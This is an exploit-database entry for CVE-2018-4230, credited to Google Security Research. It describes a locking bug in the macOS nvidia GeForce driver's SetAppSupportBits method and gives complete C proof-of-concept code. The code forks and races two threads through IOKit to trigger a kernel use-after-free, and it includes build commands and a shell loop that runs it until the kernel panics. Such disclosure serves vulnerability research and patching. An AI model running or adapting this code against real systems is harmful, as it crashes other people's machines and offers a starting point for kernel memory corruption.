Apple macOS Kernel - Use-After-Free Due to Lack of Locking in nvidia GeForce Driver



EKU-ID: 7671 CVE: 2018-4230 OSVDB-ID:
Author: Google Security Research Published: 2018-06-11 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService.
 
It calls task_deallocate without locking. Two threads can race calling this external method to drop
two task references when only one is held.
 
Note that the repro forks a child which give the nvAccelerator a different task otherwise
the repro is more likely to leak task references than panic.
*/
 
// ianbeer
 
#if 0
MacOS kernel UAF due to lack of locking in nvidia GeForce driver
 
nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService.
 
It calls task_deallocate without locking. Two threads can race calling this external method to drop
two task references when only one is held.
 
Note that the repro forks a child which give the nvAccelerator a different task otherwise
the repro is more likely to leak task references than panic.
#endif
 
// build: clang -o nvtask nvtask.c -framework IOKit
// run: while true; do ./nvtask; done
 
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
 
#include <pthread.h>
 
#include <mach/mach.h>
#include <mach/vm_map.h>
 
#include <IOKit/IOKitLib.h>
 
uint64_t set_app_support_bits(mach_port_t conn) {
  kern_return_t err;
  
  uint64_t inputScalar[16]; 
  uint64_t inputScalarCnt = 0;
 
  char inputStruct[4096];
  size_t inputStructCnt = 0;
 
  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;
 
  char outputStruct[4096];
  size_t outputStructCnt = 0;
 
  inputStructCnt = 1;
  outputStructCnt = 1;
 
  inputStruct[0] = 0xff;
 
  err = IOConnectCallMethod(
   conn,
   0x107,
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt);
 
  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
  } else{
    printf("worked?\n");
  }
  
  return 0;
}
 
 
volatile int go = 0;
volatile int running = 0;
void* thread_func(void* arg) {
  mach_port_t conn = (mach_port_t)arg;
  printf("thread running\n");
  running = 1;
  while(!go){;}
  set_app_support_bits(conn);
  return 0;
}
 
int main(int argc, char** argv){
  pid_t child_pid = fork();
  if (child_pid == -1) {
    printf("fork failed\n");
    return 0;
  }
  if (child_pid) {
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("nvAccelerator"));
    if (service == MACH_PORT_NULL) {
      printf("unable to find service\n");
      return 0;
    }
    printf("got service: 0x%x\n", service);
 
    io_connect_t conn = MACH_PORT_NULL;
    kern_return_t err = IOServiceOpen(service, mach_task_self(), 5, &conn); // nvDevice
    if (err != KERN_SUCCESS) {
      printf("unable to open ioservice\n");
      return 0;
    }
    printf("got service\n");
    pthread_t th;
    pthread_create(&th, NULL, thread_func, (void*)conn);
 
    while(!running){;}
    go = 1;
    set_app_support_bits(conn);
 
    pthread_join(th, NULL);
 
    int loc = 0;
    wait(&loc);
  } else {
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("nvAccelerator"));
    if (service == MACH_PORT_NULL) {
      printf("unable to find service\n");
      return 0;
    }
    printf("got service: 0x%x\n", service);
 
    io_connect_t conn = MACH_PORT_NULL;
    kern_return_t err = IOServiceOpen(service, mach_task_self(), 5, &conn); // nvDevice
    if (err != KERN_SUCCESS) {
      printf("unable to open ioservice\n");
      return 0;
    }
    printf("got service\n");
    set_app_support_bits(conn);
    
  }
 
  return 0;
}